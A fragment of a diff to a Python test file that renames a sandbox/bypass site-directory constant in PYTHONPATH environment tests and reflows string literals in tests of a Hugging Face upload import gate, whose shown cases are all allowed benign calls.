+        assert _BYPASS_SITE_DIR in env["PYTHONPATH"].split(os.pathsep)
 
     def test_bypass_env_prepends_shim_and_keeps_inherited_pythonpath(self, monkeypatch, tmp_path):
-        from core.inference.tools import _SANDBOX_SITE_DIR, _build_bypass_env
+        from core.inference.tools import _BYPASS_SITE_DIR, _build_bypass_env
 
         monkeypatch.setenv("PYTHONPATH", "/operator/libs")
         env = _build_bypass_env(str(tmp_path))
         parts = env["PYTHONPATH"].split(os.pathsep)
         # Shim first so its open()/makedirs remap wins, operator entries kept.
-        assert parts[0] == _SANDBOX_SITE_DIR
+        assert parts[0] == _BYPASS_SITE_DIR
         assert "/operator/libs" in parts
 
 
@@ -521,15 +987,11 @@ class TestHfUploadImportGate:
 
     def test_hf_bare_name_upload_folder_safe_allowed(self):
         _ok(
-            "from huggingface_hub import upload_folder;"
-            " upload_folder(folder_path='x', repo_id='r')"
+            "from huggingface_hub import upload_folder; upload_folder(folder_path='x', repo_id='r')"
         )
 
     def test_hf_bare_name_create_commit_safe_allowed(self):
-        _ok(
-            "from huggingface_hub import create_commit;"
-            " create_commit(operations=[], repo_id='r')"
-        )
+        _ok("from huggingface_hub import create_commit; create_commit(operations=[], repo_id='r')")
 
     def test_bare_name_upload_file_without_hf_import_allowed(self):
         # No HF import -- local helper named upload_file passes.